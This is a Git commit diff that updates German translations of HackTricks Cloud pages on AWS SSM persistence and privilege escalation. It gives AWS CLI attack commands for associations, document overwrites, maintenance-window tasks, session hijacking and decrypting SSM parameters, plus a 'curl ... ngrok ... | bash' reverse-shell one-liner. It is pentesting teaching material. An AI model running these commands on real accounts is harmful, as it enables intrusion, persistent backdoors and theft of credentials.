gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-s

Browse Source
This commit is contained in:
Translator
2026-04-21 08:24:22 +00:00
parent 082eaf8961
commit 3cf7961704
2 changed files with 128 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files

60
src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
View File

@@ -1,18 +1,18 @@
# AWS - SSM Persistenz
# AWS - SSM Perssitence
{{#include ../../../../banners/hacktricks-training.md}}
## SSM
Für weitere Informationen siehe:
Weitere Informationen findest du hier:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Verwendung von ssm:CreateAssociation zur Persistenz
### Using ssm:CreateAssociation for persistence
Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-ähnliche Persistenz ohne interaktive Sitzungen eignen.
Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch Befehle auf EC2-Instanzen auszuführen, die von SSM verwaltet werden. Diese Associations können so konfiguriert werden, dass sie in einem festen Intervall ausgeführt werden, wodurch sie sich für backdoor-like persistence ohne interaktive Sitzungen eignen.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sitzungen oder expliziten ssm:SendCommand-Berechtigungen. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss das von AWS vorgeschriebene Mindestintervall von 30 Minuten einhalten. Für sofortige oder einmalige Ausführung lassen Sie `--schedule-expression` vollständig weg — die association wird nach der Erstellung einmal ausgeführt.
> Diese Persistence-Methode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder explizite `ssm:SendCommand`-Berechtigungen. **Wichtig:** Der Parameter `--schedule-expression` (z. B. `rate(30 minutes)`) muss AWSs Mindestintervall von 30 Minuten einhalten. Für eine sofortige oder einmalige Ausführung lässt man `--schedule-expression` vollständig weg — die association wird dann nach der Erstellung einmal ausgeführt.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Ein Angreifer mit den Berechtigungen **`ssm:UpdateDocument`** und **`ssm:UpdateDocumentDefaultVersion`** kann Privilegien eskalieren, indem er bestehende Dokumente verändert. Dies ermöglicht auch Persistence innerhalb dieses Dokuments. In der Praxis würde der Angreifer außerdem **`ssm:ListDocuments`** benötigen, um die Namen benutzerdefinierter Dokumente zu ermitteln, und wenn der Angreifer seine Payload innerhalb eines bestehenden Dokuments verschleiern möchte, wäre **`ssm:GetDocument`** ebenfalls erforderlich.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Das untenstehende Beispiel ist ein Dokument, das verwendet werden kann, um ein vorhandenes Dokument zu überschreiben. Du solltest sicherstellen, dass dein Dokumenttyp mit dem Typ des Zieldokuments übereinstimmt, um Probleme bei der Invocation zu vermeiden. Das untenstehende Dokument wird zum Beispiel die **`ssm:SendCommand`** und **`ssm:CreateAssociation`** Beispiele verwenden.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Ein Angreifer mit den Berechtigungen **`ssm:RegisterTaskWithMaintenanceWindow`** und **`ssm:RegisterTargetWithMaintenanceWindow`** kann Privilegien eskalieren, indem er zuerst ein neues Target zu einem bestehenden maintenance window registriert und dann ein neues task aktualisiert registriert. Dadurch wird execution auf den bestehenden targets erreicht, was es einem Angreifer aber auch ermöglichen kann, compute mit unterschiedlichen roles zu kompromittieren, indem neue targets registriert werden. Dies ermöglicht auch persistence, da maintenance window tasks in einem vordefinierten Intervall während der window-Erstellung ausgeführt werden. Praktisch müsste der Angreifer außerdem **`ssm:DescribeMaintenanceWindows`** benötigen, um die maintenance window IDs zu erhalten.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

97
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
View File

@@ -4,7 +4,7 @@
## SSM
Für mehr Informationen zu SSM siehe:
Für weitere Informationen über SSM siehe:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Für mehr Informationen zu SSM siehe:
### `ssm:SendCommand`
Ein Angreifer mit der Berechtigung **`ssm:SendCommand`** kann **Befehle auf Instanzen ausführen**, auf denen der Amazon SSM Agent läuft, und dadurch die **IAM Role** innerhalb dieser Instanz kompromittieren.
Ein Angreifer mit der Berechtigung **`ssm:SendCommand`** kann **Befehle auf Instanzen ausführen**, auf denen der Amazon SSM Agent läuft, und die darin laufende **IAM Role kompromittieren**.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Falls Sie diese Technik verwenden, um innerhalb einer bereits kompromittierten EC2-Instanz Privilegien zu eskalieren, können Sie die rev shell einfach lokal mit folgendem Befehl abfangen:
Falls du diese Technik verwendest, um Privilegien innerhalb einer bereits kompromittierten EC2-Instanz zu erhöhen, könntest du die rev shell lokal einfach mit folgendem Befehl abfangen:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Mögliche Auswirkungen:** Direkter privesc auf EC2 IAM Roles, die an laufende Instanzen angehängt sind, auf denen der Amazon SSM Agent läuft.
**Potentieller Impact:** Direkte privesc zu den EC2 IAM roles, die an laufende Instances mit laufenden SSM Agents angehängt sind.
### `ssm:StartSession`
Ein Angreifer mit der Berechtigung **`ssm:StartSession`** kann **eine SSH-ähnliche Session auf Instanzen starten**, auf denen der Amazon SSM Agent läuft, und damit **die darin laufende IAM Role kompromittieren**.
Ein Angreifer mit der Berechtigung **`ssm:StartSession`** kann **eine SSH-ähnliche Session auf Instances** starten, auf denen der Amazon SSM Agent läuft, und **die IAM Role kompromittieren**, die darin ausgeführt wird.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Um eine Sitzung zu starten, müssen Sie das **SessionManagerPlugin** installiert haben: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> Um eine Session zu starten, musst du das **SessionManagerPlugin** installiert haben: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Mögliche Auswirkungen:** Direkter privesc zu den EC2 IAM roles, die an laufende Instanzen mit aktivierten SSM Agents angehängt sind.
**Potenzielle Auswirkung:** Direktes privesc zu den EC2 IAM roles, die an laufende Instances mit laufenden SSM Agents angehängt sind.
#### Privesc auf ECS
#### Privesc zu ECS
Wenn **ECS tasks** mit aktiviertem **`ExecuteCommand`** laufen, können Benutzer mit ausreichenden Berechtigungen `ecs execute-command` verwenden, um **einen Befehl** innerhalb des Containers auszuführen.\
Laut [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) geschieht dies, indem ein sicherer Kanal zwischen dem Gerät, mit dem Sie den „_exec_“-Befehl initiieren, und dem Zielcontainer über SSM Session Manager hergestellt wird. (SSM Session Manager Plugin erforderlich, damit dies funktioniert)\
Daher können Benutzer mit `ssm:StartSession` bei aktivierter Option einfach **get a shell inside ECS tasks** erhalten, indem sie Folgendes ausführen:
Wenn **ECS tasks** mit aktiviertem **`ExecuteCommand`** laufen, können Nutzer mit ausreichenden Berechtigungen `ecs execute-command` verwenden, um einen Befehl innerhalb des Containers **auszuführen**.\
Laut [**der Dokumentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) geschieht dies durch das Erstellen eines sicheren Kanals zwischen dem Gerät, das du verwendest, um den “_exec_“-Befehl zu initiieren, und dem Ziel-Container mit SSM Session Manager. (SSM Session Manager Plugin notwendig, damit das funktioniert)\
Daher können Nutzer mit `ssm:StartSession` eine **Shell innerhalb von ECS tasks** erhalten, bei denen diese Option aktiviert ist, indem sie einfach Folgendes ausführen:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Mögliche Auswirkung:** Direkter privesc auf die `ECS` IAM-Rollen, die an laufende Tasks mit aktiviertem `ExecuteCommand` angehängt sind.
**Potenzielle Auswirkungen:** Direkte Privesc auf die `ECS`IAM roles, die an laufende Tasks mit aktiviertem `ExecuteCommand` angehängt sind.
### `ssm:ResumeSession`
Ein Angreifer mit der Berechtigung **`ssm:ResumeSession`** kann eine SSH-ähnliche Sitzung in Instanzen, die den Amazon SSM Agent ausführen, re-**starten**, wenn die SSM-Sitzung den Zustand **disconnected** hat, und die darin laufende IAM Role **compromise**.
Ein Angreifer mit der Berechtigung **`ssm:ResumeSession`** kann eine **SSH-ähnliche Sitzung auf Instanzen** mit dem Amazon SSM Agent und einem **disconnected** SSM session state erneut **starten** und die darin laufende **IAM Role** kompromittieren.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,30 +72,30 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Potential Impact:** Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen mit SSM Agents angehängt sind, insbesondere bei getrennten Sessions.
**Potenzielle Auswirkung:** Direkter privesc zu den an laufende Instanzen angehängten EC2 IAM roles mit laufenden SSM Agents und getrennten Sessions.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Ein Angreifer mit den genannten Berechtigungen kann die **SSM-Parameter** auflisten und **im Klartext lesen**. In diesen Parametern findet man häufig **sensible Informationen** wie SSH-Keys oder API-Keys.
Ein Angreifer mit den genannten permissions wird in der Lage sein, die **SSM parameters** aufzulisten und sie im Klartext zu lesen. In diesen parameters kannst du häufig **sensitive information** wie SSH keys oder API keys finden.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Mögliche Auswirkungen:** Sensible Informationen in den Parametern finden.
**Potenzielle Auswirkung:** Sensitive Informationen innerhalb der Parameter finden.
### `ssm:ListCommands`
Ein Angreifer mit dieser Berechtigung kann alle gesendeten **commands** auflisten und hoffentlich **sensible Informationen** darin finden.
Ein Angreifer mit dieser Berechtigung kann alle gesendeten **commands** auflisten und hoffentlich **sensitive information** darin finden.
```
aws ssm list-commands
```
**Potentielle Auswirkungen:** Sensible Informationen in den Befehlszeilen finden.
**Potenzielle Auswirkung:** Sensitive Informationen in den Command Lines finden.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Ein Angreifer mit diesen Berechtigungen kann alle gesendeten **commands** auflisten und die erzeugte **Ausgabe lesen**, um hoffentlich **sensible Informationen** darin zu finden.
Ein Angreifer mit diesen Berechtigungen kann alle gesendeten **commands** auflisten und die erzeugte **output** lesen, in der Hoffnung, dort **sensitive information** zu finden.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Potentielle Auswirkungen:** Sensible Informationen in der Ausgabe von Befehlen finden.
**Potenzielle Auswirkung:** Sensible Informationen innerhalb der Ausgabe von command lines finden.
### Verwendung von ssm:CreateAssociation
### Using ssm:CreateAssociation
Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um Befehle automatisch auf von SSM verwalteten EC2-Instanzen auszuführen. Diese Associations können so konfiguriert werden, dass sie in festen Intervallen laufen, wodurch sie sich für backdoor-like persistence ohne interaktive Sitzungen eignen.
Ein Angreifer mit der Berechtigung **`ssm:CreateAssociation`** kann eine State Manager Association erstellen, um automatisch commands auf EC2 instances auszuführen, die von SSM verwaltet werden. Diese associations können so konfiguriert werden, dass sie in einem festen Intervall ausgeführt werden, wodurch sie sich für backdoor-ähnliche persistence ohne interaktive sessions eignen.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Diese Persistenzmethode funktioniert, solange die EC2-Instanz von Systems Manager verwaltet wird, der SSM-Agent läuft und der Angreifer die Berechtigung hat, associations zu erstellen. Sie erfordert keine interaktiven Sessions oder expliziten ssm:SendCommand-Berechtigungen. **Wichtig:** Der `--schedule-expression`-Parameter (z. B. `rate(30 minutes)`) muss das AWS-Mindestintervall von 30 Minuten einhalten. Für eine sofortige oder einmalige Ausführung lassen Sie `--schedule-expression` vollständig weg — die association wird einmal nach der Erstellung ausgeführt.
> Diese Persistence-Methode funktioniert, solange die EC2 instance von Systems Manager verwaltet wird, der SSM agent läuft und der attacker die Berechtigung hat, associations zu erstellen. Sie erfordert keine interactive sessions oder expliziten ssm:SendCommand-Berechtigungen. **Important:** Der `--schedule-expression`-Parameter (z. B. `rate(30 minutes)`) muss AWSs Mindestintervall von 30 Minuten einhalten. Für eine sofortige oder einmalige Ausführung lasse `--schedule-expression` vollständig weg — die association wird nach der Erstellung einmal ausgeführt.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Ein attacker mit den Berechtigungen **`ssm:UpdateDocument`** und **`ssm:UpdateDocumentDefaultVersion`** kann privileges escalieren, indem er bestehende documents modifiziert. Dies ermöglicht auch Persistence innerhalb dieses documents. Praktisch würde der attacker außerdem **`ssm:ListDocuments`** benötigen, um die Namen benutzerdefinierter documents zu erhalten, und wenn der attacker sein payload innerhalb eines bestehenden documents verschleiern möchte, wäre zusätzlich **`ssm:GetDocument`** notwendig.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Below is an example document that can be used to overwrite and existing document. You will want to ensure your document type matches the target documents type to issues with innvocation. The document below for instance will the **`ssm:SendCommand`** and **`ssm:CreateAssociation`** examples.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Ein Angreifer mit den Berechtigungen **`ssm:RegisterTaskWithMaintenanceWindow`** und **`ssm:RegisterTargetWithMaintenanceWindow`** kann seine Privilegien erhöhen, indem er zuerst ein neues target mit einem vorhandenen maintenance window registriert und dann ein neues task registriert bzw. aktualisiert. Dadurch wird execution auf den bestehenden targets erreicht, aber es kann einem Angreifer ermöglichen, compute mit unterschiedlichen roles zu kompromittieren, indem er neue targets registriert. Dies ermöglicht auch persistence, da maintenance windows tasks in einem vordefinierten Intervall während der window-Erstellung ausgeführt werden. Praktisch würde der Angreifer außerdem **`ssm:DescribeMaintenanceWindows`** benötigen, um die maintenance window IDs zu erhalten.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
Sie können SSM auch verwenden, um Zugriff auf ein gerade gebautes codebuild-Projekt zu erhalten:
Du kannst auch SSM verwenden, um in ein Codebuild-Projekt zu gelangen, das gerade gebaut wird:
{{#ref}}
../aws-codebuild-privesc/README.md